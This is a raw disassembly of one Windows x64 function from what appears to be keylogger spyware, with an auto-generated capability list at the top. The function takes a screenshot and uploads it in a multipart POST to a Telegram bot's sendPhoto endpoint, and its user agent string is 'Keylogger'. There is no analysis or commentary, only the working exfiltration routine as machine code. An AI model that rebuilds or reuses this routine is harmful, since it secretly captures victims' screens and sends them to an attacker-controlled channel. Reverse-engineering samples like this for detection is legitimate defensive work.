Function at 0x140003c80
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x140043040]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov r12, rcx
xor ebx, ebx
test rcx, rcx
jne 0x140003ce2
lea rdx, str.Failed_to_capture_screenshot.
lea rcx, [0x140044820]
call fcn.1400095f0
mov rcx, rax
call fcn.140009b80
jmp 0x140004d21
mov rax, qword [rcx]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
call qword [rax + 0x28]
mov rax, qword [r12]
mov r8d, 1
lea rdx, [rbp + 0x1d0]
mov rcx, r12
call qword [rax + 0x60]
mov edi, dword [rbp + 0x1e0]
mov dword [rsp + 0x60], edi
mov ecx, edi
call fcn.14000f654
mov rsi, rax
mov qword [rsp + 0x68], rax
mov r10, qword [r12]
lea r9, [rbp + 0x1a0]
mov r8d, edi
mov rdx, rax
mov rcx, r12
call qword [r10 + 0x18]
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Keylogger
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 0x108], rax
test rax, rax
je 0x140004d0f
mov r8d, 0x1bb
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.api.telegram.org
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x140004d02
mov r15, qword [0x140045ef8]
movabs rax, 0x7fffffffffffffff
mov rcx, rax
sub rcx, r15
cmp rcx, 4
jb 0x140004d69
lea r13, [0x140045ee8]
cmp qword [0x140045f00], 0xf
cmova r13, qword [0x140045ee8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
lea r14, [r15 + 4]
mov edi, 0xf
lea rsi, [rsp + 0x40]
movabs rcx, 0x8000000000000000
mov edx, 0x16
cmp r14, rdi
jbe 0x140003e79
mov rdi, r14
or rdi, 0xf
cmp rdi, rax
jbe 0x140003e3f
mov rdi, rax
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.14000f3d8
test rax, rax
je 0x140004d6f
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140003e74
cmp rdi, rdx
cmovb rdi, rdx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140003e54
mov rsi, rbx
jmp 0x140003e74
cmp rcx, 0x1000
jb 0x140003e6c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004d57
jmp 0x140003e20
call fcn.14000f3d8
mov rsi, rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rdi
mov ecx, dword [str._bot]
mov dword [rsi], ecx
lea rcx, [rsi + 4]
mov r8, r15
mov rdx, r13
call fcn.14002eb70
mov byte [rsi + r14], bl
mov r8d, 0xa
lea rdx, str._sendPhoto
lea rcx, [rsp + 0x40]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rbx
mov qword [rbp + 0x198], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x180], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x190], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140003f2e
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004d75
call fcn.14000f2b0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rbx
mov qword [rbp + 0x138], rbx
mov r8d, 0x25
lea rdx, str.____WebKitFormBoundary7MA4YWxkTrZu0gW
lea rcx, [rbp + 0x120]
call fcn.140009d50
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r15, qword [rbp + 0x130]
sub rax, r15
cmp rax, 0x2c
jb 0x140004d7b
lea r13, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova r13, qword [rbp + 0x120]
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x158], rbx
lea r14, [r15 + 0x2c]
mov esi, 0xf
lea rdi, [rbp + 0x140]
cmp r14, rsi
jbe 0x140004056
mov rsi, r14
or rsi, 0xf
cmp rsi, rcx
jbe 0x140004014
mov rsi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000f3d8
test rax, rax
je 0x140004de1
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000404f
cmp rsi, 0x16
mov eax, 0x16
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x14000402f
mov rdi, rbx
jmp 0x14000404f
cmp rcx, 0x1000
jb 0x140004047
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004d5d
jmp 0x140003ff5
call fcn.14000f3d8
mov rdi, rax
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x150], r14
mov qword [rbp + 0x158], rsi
movups xmm0, xmmword [str.Content_Type:_multipart_form_data__boundary]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x14003ca00]
movups xmmword [rdi + 0x10], xmm1
movsd xmm0, qword [0x14003ca10]
movsd qword [rdi + 0x20], xmm0
mov eax, dword [0x14003ca18]
mov dword [rdi + 0x28], eax
lea rcx, [rdi + 0x2c]
mov r8, r15
mov rdx, r13
call fcn.14002eb70
mov byte [rdi + r14], 0
lea rax, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
mov r13, qword [rbp + 0x120]
cmova rax, r13
mov qword [rbp + 0xf8], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
lea r14, [r15 + 2]
mov edi, 0xf
lea rsi, [rbp - 0x70]
cmp r14, rdi
jbe 0x140004175
mov rdi, r14
or rdi, 0xf
movabs rcx, 0x7fffffffffffffff
cmp rdi, rcx
jbe 0x14000412f
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000f3d8
test rax, rax
je 0x140004d81
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000416a
cmp rdi, 0x16
mov ecx, 0x16
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000414a
mov rsi, rbx
jmp 0x140004171
cmp rcx, 0x1000
jb 0x140004162
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140004d63
jmp 0x140004110
call fcn.14000f3d8
mov rsi, rax
mov rax, qword [rbp + 0xf8]
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], rdi
movzx ecx, word [0x14003ca90]
mov word [rsi], cx
lea rcx, [rsi + 2]
mov r8, r15
mov rdx, rax
call fcn.14002eb70
mov byte [rsi + r14], 0
mov r8d, 2
lea rdx, [0x14003ca8c]
lea rcx, [rbp - 0x70]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], rbx
mov qword [rbp + 0xb0], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x32
lea rdx, str.Content_Disposition:_form_data__name_chat_id__r_n_r_n
lea rcx, [rbp + 0x98]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0x90], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x88], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x140045f08]
cmp qword [0x140045f20], 0xf
cmova rdx, qword [0x140045f08]
mov r8, qword [0x140045f18]
lea rcx, [rbp + 0x78]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x70], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x68], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 2
lea rdx, [0x14003ca8c]
lea rcx, [rbp + 0x58]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x50], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x48], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 2
lea rdx, [0x14003ca90]
lea rcx, [rbp + 0x38]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x30], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x28], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, r13
mov r8, r15
lea rcx, [rbp + 0x18]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 2
lea rdx, [0x14003ca8c]
lea rcx, [rbp - 8]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x49
lea rdx, str.Content_Disposition:_form_data__name_photo___filename_screenshot.png__r_n
lea rcx, [rbp - 0x28]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x1b
lea rdx, str.Content_Type:_image_png_r_n_r_n
lea rcx, [rbp - 0x48]
call fcn.140008270
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf8], xmm0
movups xmmword [rbp + 0x1a8], xmm0
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x1b8], xmm0
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x14000446b
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004466
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004d87
call fcn.14000f2b0
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x1400044b6
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004d8d
call fcn.14000f2b0
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140004501
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004d93
call fcn.14000f2b0
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x14000454c
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004547
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004d99
call fcn.14000f2b0
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x140004597
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004592
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004d9f
call fcn.14000f2b0
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x1400045e2
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400045dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004da5
call fcn.14000f2b0
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x70], 0xf
mov byte [rbp + 0x58], 0
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x140004630
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000462b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004dab
call fcn.14000f2b0
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0x90], 0xf
mov byte [rbp + 0x78], 0
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x140004687
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004682
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004db1
call fcn.14000f2b0
mov qword [rbp + 0xa8], rbx
mov qword [rbp + 0xb0], 0xf
mov byte [rbp + 0x98], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400046db
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004db7
call fcn.14000f2b0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
lea r8, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova r8, qword [rbp + 0x180]
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], 0x4800000
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.POST
mov r15, qword [rbp - 0x50]
mov rcx, r15
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r13, rax
test rax, rax
je 0x140004bd7
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rbx
mov r8d, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x70]
call fcn.140009d50
nop
lea rsi, [rbp + 0x1a8]
movups xmm1, xmmword [rbp + 0x110]
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rsi, qword [rbp + 0xf8]
mov r8, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
sub rax, r8
movq r14, xmm1
cmp r14, rax
ja 0x14000481d
lea rax, [r14 + r8]
mov qword [rbp - 0x80], rax
lea rdi, [rsp + 0x70]
cmp rcx, 0xf
cmova rdi, qword [rsp + 0x70]
lea rax, [rsi + r14]
cmp rax, rdi
jbe 0x1400047dc
lea rax, [rdi + r8]
cmp rsi, rax
ja 0x1400047dc
cmp rdi, rsi
ja 0x1400047d4
mov r15, rbx
jmp 0x1400047df
mov r15, rdi
sub r15, rsi
jmp 0x1400047df
mov r15, r14
lea rcx, [rdi + r14]
inc r8
mov rdx, rdi
call fcn.14002eb70
mov r8, r15
mov rdx, rsi
mov rcx, rdi
call fcn.14002eb70
lea rcx, [rdi + r15]
mov r8, r14
sub r8, r15
lea rdx, [r15 + rsi]
add rdx, r14
call fcn.14002eb70
lea rax, [rsp + 0x70]
mov r15, qword [rbp - 0x50]
jmp 0x140004834
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov rdx, r14
lea rcx, [rsp + 0x70]
call fcn.14000b6e0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], rbx
mov qword [rbp + 0xf0], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str._r_n__
lea rcx, [rbp + 0xd8]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x120]
mov r14, qword [rbp + 0x138]
cmp r14, 0xf
cmova r9, qword [rbp + 0x120]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov rax, rdx
sub rax, rcx
mov rsi, qword [rbp + 0x130]
cmp rsi, rax
ja 0x140004925
lea rax, [rcx + rsi]
mov qword [rsp + 0x50], rax
lea rdi, [rsp + 0x40]
cmp rdx, 0xf
cmova rdi, qword [rsp + 0x40]
add rdi, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rdi
call fcn.14002eb70
mov byte [rdi + rsi], 0
lea rax, [rsp + 0x40]
jmp 0x140004941
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov rdx, rsi
lea rcx, [rsp + 0x40]
call fcn.14000a660
mov r14, qword [rbp + 0x138]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc8], rbx
mov qword [rbp + 0xd0], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str.___r_n
lea rcx, [rbp + 0xb8]
call fcn.140008270
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], rbx
mov qword [rbp + 0x178], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x170], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0xf
jbe 0x140004a13
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004dbd
call fcn.14000f2b0
mov qword [rbp + 0xc8], rbx
mov qword [rbp + 0xd0], 0xf
mov byte [rbp + 0xb8], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140004a69
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004dc3
call fcn.14000f2b0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x140004abd
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ab8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004dc9
call fcn.14000f2b0
mov qword [rbp + 0xe8], rbx
mov qword [rbp + 0xf0], 0xf
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140004b12
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004dcf
call fcn.14000f2b0
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
lea r9, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova r9, qword [rbp + 0x160]
lea rdx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rdx, qword [rbp + 0x140]
mov eax, dword [rbp + 0x170]
mov dword [rsp + 0x20], eax
mov r8d, dword [rbp + 0x150]
mov rcx, r13
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x140004b8a
lea rdx, str.Failed_to_send_screenshot_to_Telegram.
lea rcx, [0x140044820]
call fcn.1400095f0
mov rcx, rax
call fcn.140009b80
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x140004bde
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004bd0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004dd5
call fcn.14000f2b0
jmp 0x140004bde
mov r14, qword [rbp + 0x138]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0xf
jbe 0x140004c2a
inc rdx
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ddb
call fcn.14000f2b0
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x140004c6b
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c66
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004de1
call fcn.14000f2b0
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
cmp r14, 0xf
jbe 0x140004cc0
lea rdx, [r14 + 1]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004de7
call fcn.14000f2b0
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140004cfd
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cf8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004d51
call fcn.14000f2b0
mov rsi, qword [rsp + 0x68]
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call fcn.14000f2b0
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.14000f290
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14001797c
int3
call fcn.140001400
nop
call fcn.140001400
nop
call fcn.140001400
nop
call fcn.1400014a0
int3
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.1400014a0
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
nop
call fcn.14001797c
int3